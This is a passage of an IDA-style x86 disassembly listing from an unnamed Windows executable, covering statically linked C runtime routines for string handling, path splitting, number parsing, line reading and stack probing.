loc_41C347: ; CODE XREF: sub_41C2E0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C996
; ---------------------------------------------------------------------------
loc_41C353: ; CODE XREF: sub_41C2E0+49j
; sub_41C2E0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C35A: ; CODE XREF: sub_41C2E0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41C2E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C360 proc near ; CODE XREF: ___:0040133Bp
; sub_401ACD+1C15p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C39F
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C3AC
; ---------------------------------------------------------------------------
loc_41C39F: ; CODE XREF: sub_41C360+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C3AC: ; CODE XREF: sub_41C360+3Dj
mov eax, esi
pop esi
leave
retn
sub_41C360 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3B1 proc near ; CODE XREF: ___:00401318p
; sub_401ACD+2177p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B9C0
cmp eax, 1
pop ecx
jb short loc_41C3EC
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41C3EC
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41C3E8
push 2
push ebx
push esi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41C3E8: ; CODE XREF: sub_41C3B1+25j
inc ebx
inc ebx
jmp short loc_41C3F6
; ---------------------------------------------------------------------------
loc_41C3EC: ; CODE XREF: sub_41C3B1+18j
; sub_41C3B1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C3F6
and byte ptr [eax], 0
loc_41C3F6: ; CODE XREF: sub_41C3B1+39j
; sub_41C3B1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41C46E
loc_41C409: ; CODE XREF: sub_41C3B1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DD261[edx], 4
jz short loc_41C41A
inc eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C41A: ; CODE XREF: sub_41C3B1+64j
cmp cl, 2Fh
jz short loc_41C42E
cmp cl, 5Ch
jz short loc_41C42E
cmp cl, 2Eh
jnz short loc_41C434
mov [ebp+var_4], eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj
; sub_41C3B1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41C434: ; CODE XREF: sub_41C3B1+67j
; sub_41C3B1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41C409
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41C46E
cmp [ebp+arg_8], 0
jz short loc_41C469
sub edi, ebx
cmp edi, esi
jb short loc_41C452
mov edi, esi
loc_41C452: ; CODE XREF: sub_41C3B1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420B29
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C469: ; CODE XREF: sub_41C3B1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41C478
; ---------------------------------------------------------------------------
loc_41C46E: ; CODE XREF: sub_41C3B1+56j
; sub_41C3B1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41C478
and byte ptr [ecx], 0
loc_41C478: ; CODE XREF: sub_41C3B1+BBj
; sub_41C3B1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41C4CB
cmp edi, ebx
jb short loc_41C4CB
cmp [ebp+arg_C], 0
jz short loc_41C4A8
sub edi, ebx
cmp edi, esi
jb short loc_41C491
mov edi, esi
loc_41C491: ; CODE XREF: sub_41C3B1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420B29
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41C4F3
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41C4B8
mov esi, eax
loc_41C4B8: ; CODE XREF: sub_41C3B1+103j
push esi
push [ebp+var_4]
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41C4F3
; ---------------------------------------------------------------------------
loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj
; sub_41C3B1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41C4E9
sub eax, ebx
cmp eax, esi
jnb short loc_41C4DA
mov esi, eax
loc_41C4DA: ; CODE XREF: sub_41C3B1+125j
push esi
push ebx
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41C4F3
and byte ptr [eax], 0
loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj
; sub_41C3B1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C3B1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C500 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41C520
loc_41C50C: ; CODE XREF: sub_41C500+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41C50C
loc_41C520: ; CODE XREF: sub_41C500+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41C500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p
; sub_401ACD+7424p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41C543
xor eax, eax
jmp short loc_41C579
; ---------------------------------------------------------------------------
loc_41C543: ; CODE XREF: sub_41C52F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41C573
mov esi, [ebp+arg_8]
loc_41C54C: ; CODE XREF: sub_41C52F+42j
dec dword ptr [esi+4]
js short loc_41C55B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41C562
; ---------------------------------------------------------------------------
loc_41C55B: ; CODE XREF: sub_41C52F+20j
push esi
call sub_41F8E3
pop ecx
loc_41C562: ; CODE XREF: sub_41C52F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41C57D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41C573
dec [ebp+arg_4]
jnz short loc_41C54C
loc_41C573: ; CODE XREF: sub_41C52F+18j
; sub_41C52F+3Dj ...
and byte ptr [edi], 0
loc_41C576: ; CODE XREF: sub_41C52F+55j
mov eax, ebx
pop esi
loc_41C579: ; CODE XREF: sub_41C52F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C57D: ; CODE XREF: sub_41C52F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41C573
xor ebx, ebx
jmp short loc_41C576
sub_41C52F endp
; =============== S U B R O U T I N E =======================================
sub_41C586 proc near ; CODE XREF: ___:0041E645p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C586 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C59D proc near ; CODE XREF: sub_41C586+Ep
; sub_41C7A5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41C5B5: ; CODE XREF: sub_41C59D+46j
cmp dword_43D084, 1
jle short loc_41C5CD
movzx eax, bl
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C5DC
; ---------------------------------------------------------------------------
loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej
test eax, eax
jz short loc_41C5E5
mov bl, [esi]
inc esi
jmp short loc_41C5B5
; ---------------------------------------------------------------------------
loc_41C5E5: ; CODE XREF: sub_41C59D+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41C5F3
or [ebp+arg_C], 2
jmp short loc_41C5F8
; ---------------------------------------------------------------------------
loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej
cmp bl, 2Bh
jnz short loc_41C5FE
loc_41C5F8: ; CODE XREF: sub_41C59D+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41C5FE: ; CODE XREF: sub_41C59D+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41C795
cmp eax, 1
jz loc_41C795
cmp eax, 24h
jg loc_41C795
push 10h
test eax, eax
pop ecx
jnz short loc_41C646
cmp bl, 30h
jz short loc_41C630
mov [ebp+arg_8], 0Ah
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C630: ; CODE XREF: sub_41C59D+88j
mov al, [esi]
cmp al, 78h
jz short loc_41C643
cmp al, 58h
jz short loc_41C643
mov [ebp+arg_8], 8
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C643: ; CODE XREF: sub_41C59D+97j
; sub_41C59D+9Bj
mov [ebp+arg_8], ecx
loc_41C646: ; CODE XREF: sub_41C59D+83j
cmp [ebp+arg_8], ecx
jnz short loc_41C662
cmp bl, 30h
jnz short loc_41C662
mov al, [esi]
cmp al, 78h
jz short loc_41C65A
cmp al, 58h
jnz short loc_41C662
loc_41C65A: ; CODE XREF: sub_41C59D+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41C662: ; CODE XREF: sub_41C59D+91j
; sub_41C59D+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41C672: ; CODE XREF: sub_41C59D+16Cj
cmp dword_43D084, 1
movzx esi, bl
jle short loc_41C68A
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C695
; ---------------------------------------------------------------------------
loc_41C68A: ; CODE XREF: sub_41C59D+DFj
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_41C695: ; CODE XREF: sub_41C59D+EBj
test eax, eax
jz short loc_41C6A1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41C6D3
; ---------------------------------------------------------------------------
loc_41C6A1: ; CODE XREF: sub_41C59D+FAj
cmp dword_43D084, 1
jle short loc_41C6B5
push edi
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C6C0
; ---------------------------------------------------------------------------
loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj
mov eax, off_43CE78
mov ax, [eax+esi*2]
and eax, edi
loc_41C6C0: ; CODE XREF: sub_41C59D+116j
test eax, eax
jz short loc_41C70E
movsx eax, bl
push eax
call sub_420BB3
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41C6D3: ; CODE XREF: sub_41C59D+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41C70E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41C6F8
jnz short loc_41C6F2
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41C6F8
loc_41C6F2: ; CODE XREF: sub_41C59D+147j
or [ebp+arg_C], 4
jmp short loc_41C701
; ---------------------------------------------------------------------------
loc_41C6F8: ; CODE XREF: sub_41C59D+145j
; sub_41C59D+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41C701: ; CODE XREF: sub_41C59D+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41C672
; ---------------------------------------------------------------------------
loc_41C70E: ; CODE XREF: sub_41C59D+125j
; sub_41C59D+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41C72C
test edx, edx
jz short loc_41C726
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41C726: ; CODE XREF: sub_41C59D+181j
and [ebp+var_8], 0
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C72C: ; CODE XREF: sub_41C59D+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41C752
test cl, 1
jnz short loc_41C779
and ecx, 2
jz short loc_41C749
cmp [ebp+var_8], 80000000h
ja short loc_41C752
loc_41C749: ; CODE XREF: sub_41C59D+1A1j
test ecx, ecx
jnz short loc_41C779
cmp [ebp+var_8], eax
jbe short loc_41C779
loc_41C752: ; CODE XREF: sub_41C59D+197j
; sub_41C59D+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DBDDC, 22h
jz short loc_41C768
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C768: ; CODE XREF: sub_41C59D+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41C779: ; CODE XREF: sub_41C59D+18Dj
; sub_41C59D+19Cj ...
test edx, edx
jz short loc_41C782
mov eax, [ebp+var_4]
mov [edx], eax
loc_41C782: ; CODE XREF: sub_41C59D+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41C790
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41C790: ; CODE XREF: sub_41C59D+1E9j
mov eax, [ebp+var_8]
jmp short loc_41C7A0
; ---------------------------------------------------------------------------
loc_41C795: ; CODE XREF: sub_41C59D+66j
; sub_41C59D+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C79E
mov [eax], edi
loc_41C79E: ; CODE XREF: sub_41C59D+1FDj
xor eax, eax
loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41C59D endp
; =============== S U B R O U T I N E =======================================
sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p
; sub_401ACD+6931p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C7A5 endp
; =============== S U B R O U T I N E =======================================
sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp
arg_0 = dword ptr 4
push [esp+arg_0]
nop
call near ptr 26801F9h
test eax, eax
jnz short loc_41C7D2
nop
call near ptr 2680972h
jmp short loc_41C7D4
; ---------------------------------------------------------------------------
loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj
xor eax, eax
loc_41C7D4: ; CODE XREF: sub_41C7BC+14j
test eax, eax
jz short loc_41C7E3
push eax
call sub_420C7F
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj
xor eax, eax
retn
sub_41C7BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420CE6
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41FF3F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_420D73
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41C7E6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp
; sub_401ACD+1E3Ep ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C841
xor eax, eax
jmp short loc_41C843
; ---------------------------------------------------------------------------
loc_41C841: ; CODE XREF: sub_41C820+1Bj
mov eax, edi
loc_41C843: ; CODE XREF: sub_41C820+1Fj
cld
pop edi
leave
retn
sub_41C820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C850 proc near ; CODE XREF: sub_401ACD+854p
; ___:0041E5BDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C881
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C87F
jz short loc_41C881
dec ecx
dec ecx
loc_41C87F: ; CODE XREF: sub_41C850+29j
not ecx
loc_41C881: ; CODE XREF: sub_41C850+9j
; sub_41C850+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C850 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp
; sub_401ACD+2FB3p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C901
sub_41C890 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p
; sub_401ACD+746Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C8BC
loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C8EF
test ecx, 3
jnz short loc_41C8AD
loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj
; sub_41C8A0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C8BC
mov eax, [ecx-4]
test al, al
jz short loc_41C8FE
test ah, ah
jz short loc_41C8F9
test eax, 0FF0000h
jz short loc_41C8F4
test eax, 0FF000000h
jz short loc_41C8EF
jmp short loc_41C8BC
; ---------------------------------------------------------------------------
loc_41C8EF: ; CODE XREF: sub_41C8A0+12j
; sub_41C8A0+4Bj
lea edi, [ecx-1]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F4: ; CODE XREF: sub_41C8A0+44j
lea edi, [ecx-2]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj
lea edi, [ecx-3]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8FE: ; CODE XREF: sub_41C8A0+39j
lea edi, [ecx-4]
loc_41C901: ; CODE XREF: sub_41C890+5j
; sub_41C8A0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C926
loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C978
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C90D
jmp short loc_41C926
; ---------------------------------------------------------------------------
loc_41C921: ; CODE XREF: sub_41C8A0+9Ej
; sub_41C8A0+B8j
mov [edi], edx
add edi, 4
loc_41C926: ; CODE XREF: sub_41C8A0+6Bj
; sub_41C8A0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C921
test dl, dl
jz short loc_41C978
test dh, dh
jz short loc_41C96F
test edx, 0FF0000h
jz short loc_41C962
test edx, 0FF000000h
jz short loc_41C95A
jmp short loc_41C921
; ---------------------------------------------------------------------------
loc_41C95A: ; CODE XREF: sub_41C8A0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C962: ; CODE XREF: sub_41C8A0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C96F: ; CODE XREF: sub_41C8A0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C978: ; CODE XREF: sub_41C8A0+72j
; sub_41C8A0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C8A0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C990
loc_41C980: ; CODE XREF: sub_41C990+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C990
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C990 proc near ; CODE XREF: sub_401ACD+412p
; sub_401ACD+4B9p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C996: ; CODE XREF: sub_41C2E0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C9BB
loc_41C9A8: ; CODE XREF: sub_41C990+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C980
test cl, cl
jz short loc_41CA04
test edx, 3
jnz short loc_41C9A8
loc_41C9BB: ; CODE XREF: sub_41C990+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C9C6: ; CODE XREF: sub_41C990+61j
; sub_41C990+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41CA08
and eax, 81010100h
jz short loc_41C9C6
and eax, 1010100h
jnz short loc_41CA02
and esi, 80000000h
jnz short loc_41C9C6
loc_41CA02: ; CODE XREF: sub_41C990+68j
; sub_41C990+81j ...
pop esi
pop edi
loc_41CA04: ; CODE XREF: sub_41C990+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41CA08: ; CODE XREF: sub_41C990+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41CA45
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA3E
test ah, ah
jz short loc_41CA02
shr eax, 10h
cmp al, bl
jz short loc_41CA37
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA30
test ah, ah
jz short loc_41CA02
jmp short loc_41C9C6
; ---------------------------------------------------------------------------
loc_41CA30: ; CODE XREF: sub_41C990+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA37: ; CODE XREF: sub_41C990+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA3E: ; CODE XREF: sub_41C990+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA45: ; CODE XREF: sub_41C990+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41CA9C
loc_41CA60: ; CODE XREF: sub_41CA50+3Cj
; sub_41CA50+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+3]
jnz short loc_41CA94
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41CA60
mov edi, edi
loc_41CA90: ; CODE XREF: sub_41CA50+18j
; sub_41CA50+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA94: ; CODE XREF: sub_41CA50+14j
; sub_41CA50+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA9C: ; CODE XREF: sub_41CA50+Ej
test edx, 1
jz short loc_41CAB8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41CA94
inc ecx
or al, al
jz short loc_41CA90
test edx, 2
jz short loc_41CA60
loc_41CAB8: ; CODE XREF: sub_41CA50+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
add ecx, 2
jmp short loc_41CA60
sub_41CA50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41CAED: ; CODE XREF: sub_41CAD4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41CAED
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41CB15
mov edx, dword_4DBE28
loc_41CB15: ; CODE XREF: sub_41CAD4+39j
; sub_41CAD4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41CB35
test al, al
jz short loc_41CB35
inc edx
jmp short loc_41CB15
; ---------------------------------------------------------------------------
loc_41CB35: ; CODE XREF: sub_41CAD4+58j
; sub_41CAD4+5Cj
mov ebx, edx
loc_41CB37: ; CODE XREF: sub_41CAD4+81j
mov al, [edx]
test al, al
jz short loc_41CB5B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41CB57
inc edx
jmp short loc_41CB37
; ---------------------------------------------------------------------------
loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej
and byte ptr [edx], 0
inc edx
loc_41CB5B: ; CODE XREF: sub_41CAD4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DBE28, edx
and eax, ebx
pop ebx
leave
retn
sub_41CAD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp
; sub_415DAC+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
